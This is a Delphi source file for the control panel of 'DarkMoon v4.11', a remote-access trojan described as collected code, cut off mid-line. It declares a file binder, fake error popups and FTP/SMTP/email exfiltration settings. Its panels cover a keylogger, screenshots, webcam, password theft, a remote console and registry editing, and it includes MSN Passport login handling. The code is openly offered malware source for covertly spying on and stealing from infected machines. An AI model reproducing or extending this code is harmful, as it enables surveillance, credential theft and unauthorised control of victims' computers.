mainform.~pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

    procedure KServerClientDisconnected(Sender: TObject;
      Client: TSimpleTCPClient);
      procedure KServerClientRead(Sender: TObject; Client: TSimpleTCPClient;
      Stream: TStream);
      
        procedure WndProc(Var TheMsg: TMessage);
     function TracePath(Node : TTreeNode):string;
     procedure hideforms;
    PROCEDURE LoadLanguage(name: string);
  end;



const
WM_MSN = $0400 + 60;
WM_SB = $0400 + 70;
DMVersion = '4.11 SE' ;

var
  frmMain: TfrmMain;
  MainParm1, MainParm2, MainParm3 : string;
  SINConnected : integer;
         blah : HICON;
  TrayIcon : TNotifyIconData;
  USER, PASS,FTP,PORT,DIR,FileDarkMoon,BinderFile,SetupIP,SetupSMTP ,SetupEMAIL: string   ;
  fakeerrorTitle,  fakeerrorMessage : string;
   fakeerrorIcon,  fakeerrorStyle : integer;
   currentClient : integer;


   wVersionRequested  : WORD ;
inn : IN_ADDR ;
nErrorStatus : integer;

   wsa_Data  : WSADATA;

SocketMSN : TSocket;
socketSB : TSocket;


   MSNaddr : SOCKADDR_IN; // Internet address
MSNaddrserver : SOCKADDR_IN; // Internet address


  SBaddr : SOCKADDR_IN; // Internet address
  SBaddrserver : SOCKADDR_IN; // Internet address

      buf:ansistring;
  con1:boolean;
  loginhost: string = '';
  Step : integer;
   MSN_COUNTID : integer;
    SB_AUTH1  : string;
     SB_AUTH2 : string;
     MSN_Client : boolean;

     MSN_EMAIL : string;
     MSN_PASS : string  ;
     MSN_Active : string;
     id : cardinal;
    act : integer;
    MSN_TIP  : String;
    MSN_TPORT : String ;
    LanguageID : integer;
     RootNode : TTreeNode;
     ConnectedIP : string;
     UploadFileSource : string;
     DownloadFileSource : string;
     RemoteFilePath : string;
     ServerSystemPath : string;
     ServerExtention : string;
     tempClientSocket :    TSimpleTCPClient;
    ServerPassword : string;
     typeconnection : integer;
     CurrentSocket : integer;
  count : integer;
  var
Myfile : TIniFile;
   LData : array[0..999] of string;
implementation

uses     UHelp, UfrmShell, UfrmCapture;

{$R *.dfm}


procedure ExtractResourceToFile( ResName, ResExtract: String);
var
  ResourceLocation: HRSRC;
  cFileHandle, cResourceDataHandle: THandle;
  cResourceSize, cBytesWritten: Longword;
  cRecourcePath, cResourcePointer: PChar;
begin
  cRecourcePath := PChar( ResExtract );
  ResourceLocation := FindResource (HInstance,PChar(ResName),RT_RCDATA);
  cResourceSize := SizeofResource(HInstance,ResourceLocation);
  cResourceDataHandle := LoadResource(HInstance,ResourceLocation);
  cResourcePointer := LockResource(cResourceDataHandle);
  cFileHandle := CreateFile(cRecourcePath,GENERIC_WRITE,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  WriteFile( cFileHandle, cResourcePointer^, cResourceSize,cBytesWritten,nil);
  CloseHandle( cFileHandle );
end;

procedure putMessage(s : string);
begin

    frmMain.MainMsg.ShowMessagePos(s,frmMain.Left + (frmMain.Width div 3),frmMain.Top+ (frmMain.Height div 3));
end;
 function ReadMWord(f: TFileStream): word;
type
  TMotorolaWord = record
    case byte of
      0: (Value: word);
      1: (Byte1, Byte2: byte);
  end;
var
  MW: TMotorolaWord;
begin
  { It would probably be better to just read these two bytes in normally }
  { and then do a small ASM routine to swap them.  But we aren't talking }
  { about reading entire files, so I doubt the performance gain would be }
  { worth the trouble. }
  f.Read(MW.Byte2, SizeOf(Byte));
  f.Read(MW.Byte1, SizeOf(Byte));
  Result := MW.Value;
end;



 procedure GetJPGSize(const sFile: string; var wWidth, wHeight: word);
const
  ValidSig : array[0..1] of byte = ($FF, $D8);
  Parameterless = [$01, $D0, $D1, $D2, $D3, $D4, $D5, $D6, $D7];
var
  Sig: array[0..1] of byte;
  f: TFileStream;
  x: integer;
  Seg: byte;
  Dummy: array[0..15] of byte;
  Len: word;
  ReadLen: LongInt;
begin
  FillChar(Sig, SizeOf(Sig), #0);
  f := TFileStream.Create(sFile, fmOpenRead);
  try
    ReadLen := f.Read(Sig[0], SizeOf(Sig));

    for x := Low(Sig) to High(Sig) do
      if Sig[x] <> ValidSig[x] then ReadLen := 0;

    if ReadLen > 0 then
    begin
      ReadLen := f.Read(Seg, 1);
      while (Seg = $FF) and (ReadLen > 0) do
      begin
        ReadLen := f.Read(Seg, 1);
        if Seg <> $FF then
        begin
          if (Seg = $C0) or (Seg = $C1) then
          begin
            ReadLen := f.Read(Dummy[0], 3); { don't need these bytes }
            wHeight := ReadMWord(f);
            wWidth := ReadMWord(f);
          end else begin
            if not (Seg in Parameterless) then
            begin
              Len := ReadMWord(f);
              f.Seek(Len-2, 1);
              f.Read(Seg, 1);
            end else
              Seg := $FF; { Fake it to keep looping. }
          end;
        end;
      end;
    end;
  finally
    f.Free;
  end;
end;



procedure TfrmMain.hideforms   ;
begin

gb2.Visible:=false;
gb3.Visible:=false;
gb5.Visible:=false;
gb6.Visible:=false;
gb7.Visible:=false;
gb8.Visible:=false;
gb9.Visible:=false;
gbMSN.Visible:=false;
gbSkinManager.Visible:=false;


gbSpyKeylogger.Visible:=false;
gbSpyScreenshot.Visible:=false;
gbSpyWebcam.Visible:=false;
gbspyprocesses.Visible:=false;
gbWindows.Visible:=false;
gbConsole.Visible:=false;
gbMSGs.Visible:=false;
gbRegEdit.Visible:=false;
gbINF.Visible:=false;
gbPasswords.Visible:=false;

gbSkinManager.Visible:=false;

gbAdmin.Visible:=false;
gbFun.Visible:=false;
gbSearch.Visible:=false;
gbServices.Visible:=false;
gbOnlineEditor.Visible:=false;
gbWebServer.Visible:=false;
gbShutDown.Visible:=false;
end;

  procedure  SendMSNData (COMD : string;PARM :string);
 begin
 MSN_COUNTID:=MSN_COUNTID + 1  ;

    frmmain.MSNClient.Write(COMD +   ' ' +  inttostr(MSN_COUNTID) + ' ' +PARM + #13#10);
 end;


  function sslget(url,chal:string):string;
var
  NetHandle,UrlHandle: HINTERNET;
  Buffer: array[0..4095] of Char;
  auth,username,password:string;
  dummy,kk: dWord;
begin
    password:=MSN_PASS;
     username:=MSN_Email; // Get username and changes @ into %40
     username:=copy(username,1,pos('@',username)-1)+'%40'+copy(username,pos('@',username)+1,222);
     if chal<>'' then auth:='Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in='+username+',pwd='+password+','+chal;

    frmMain.Memo1.Lines.Add('WININET: ' + url);
    frmMain.Memo1.Lines.Add ('WININET: '+ auth);

     NetHandle := InternetOpen('MSMSGS', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, INTERNET_FLAG_NO_COOKIES + INTERNET_FLAG_NO_UI + INTERNET_FLAG_PRAGMA_NOCACHE + INTERNET_FLAG_SECURE);
     UrlHandle := InternetOpenUrl(NetHandle, PChar(url), pchar(auth), dword(-1), INTERNET_FLAG_NO_COOKIES + INTERNET_FLAG_NO_AUTO_REDIRECT, 0);
     FillChar(Buffer, SizeOf(Buffer), 0);
     kk:=SizeOf(Buffer);
     dummy:=0;
     HttpQueryInfo(UrlHandle,HTTP_QUERY_RAW_HEADERS_CRLF,@Buffer,kk,dummy);
     result:=buffer;
     InternetCloseHandle(UrlHandle);
     InternetCloseHandle(NetHandle);
      frmMain.Memo1.Lines.Add (result);
end;

function fesauth(chal:string):string;
begin
 if loginhost='' then begin // We must find the login server
        loginhost:=sslget('https://nexus.passport.com/rdr/pprdr.asp',''); // Tells us what the login server is
        delete(loginhost,1,pos('DALogin=',loginhost)+7); // Server is after DALogin=
        loginhost:='https://'+copy(loginhost,1,pos(',',loginhost)-1); // We add "https://" to the address
     end;

     result:=sslget(loginhost,chal); // Connect to login server

     while pos('Location: ',result)>0 do begin // Loop here if server redirects us
        result:=copy(result,pos('Location: ',result)+10,22222);
        result:=copy(result,1,pos(#13,result)-1);
        result:=sslget(result,chal); // result = address we're been redirected (begins with https://)
     end;

     if pos('da-status=success',result)>0 then begin // we succeeded
        delete(result,1,pos('from-PP=',result)+8); // Get the "blahblahblah" of "from-PP='blahblahblah'
        result:=copy(result,1,pos('''',result)-1); // result = our passport auth :)
     end
     else begin // we failed
          delete(result,1,pos('cbtxt=',result)+5); // get error message
          showmessage(result); // show it (should be de-escaped)
          result:='';
     end;
end;


procedure SocketClose(var Socket: TSocket; Handle: HWND ; wMsg : integer);
var
  RC: integer;
begin
  if Socket <> INVALID_SOCKET then
    begin
       WSAASyncSelect(Socket, Handle, wMsg , 0);


      if shutdown(Socket, 1) <> 0 then
        if WSAGetLastError <> WSAENOTCONN then
          begin
           // SocketError(WSAGetLastError);
            Exit;
          end;

      if closesocket(Socket) <> 0 then
       // SocketError(WSAGetLastError)
      else
        Socket:= INVALID_SOCKET;
    end;
end;




        procedure CreateSocketSB ;
begin
     SocketClose ( SocketSB ,frmMain.Handle,  WM_SB);
   {--------------We have to create a socket for ftp Commands Client------------- }
  SocketSB  := socket(AF_INET, SOCK_STREAM, 0);
  if (SocketSB <> INVALID_SOCKET)   THEN BEGIN
  SBaddr.sin_family := AF_INET;
  SBaddr.sin_port := 0;
 SBaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;

 if (bind(SocketSB ,SBaddr,sizeof(SBaddr))= INVALID_SOCKET ) then begin
 halt;
 end;

 if (WSAAsyncSelect(SocketSB, FrmMain.Handle, WM_SB, FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
 halt;
 end;

end;

    procedure CreateSocketMSN ;
begin
     SocketClose ( SocketMSN ,frmMain.Handle,  WM_MSN);
   {--------------We have to create a socket for MSN Connection------------- }
   SocketMSN  := socket(AF_INET, SOCK_STREAM, 0);
  if ( SocketMSN <> INVALID_SOCKET)   THEN BEGIN
 MSNaddr.sin_family := AF_INET;
MSNaddr.sin_port := 0;
 MSNaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;

 if (bind( SocketMSN , MSNaddr,sizeof( MSNaddr))= INVALID_SOCKET ) then begin
 halt;
 end;

 if (WSAAsyncSelect( SocketMSN, FrmMain.Handle, WM_MSN , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
 halt;
 end;

end;


       procedure itemexits(text : string);
        var
        count : integer;
       begin
          for count :=0 to frmmain.lvMSN.Items.Count -1 do begin
              if    frmmain.lvMSN.Items.Item[count].Caption=text then begin
                frmmain.lvMSN.Items.Item[count].Delete;
                exit;
              end;
          end;

       end;



   procedure CHG;
   var
     MyList : TListItem;
     count : integer;

begin
sleep(5000);


 SENDMSNDATA( 'CHG','NLN 0');
     sleep (2000);
    frmmain.Memo1.Text:= replace (frmmain.Memo1.Text,'ILN','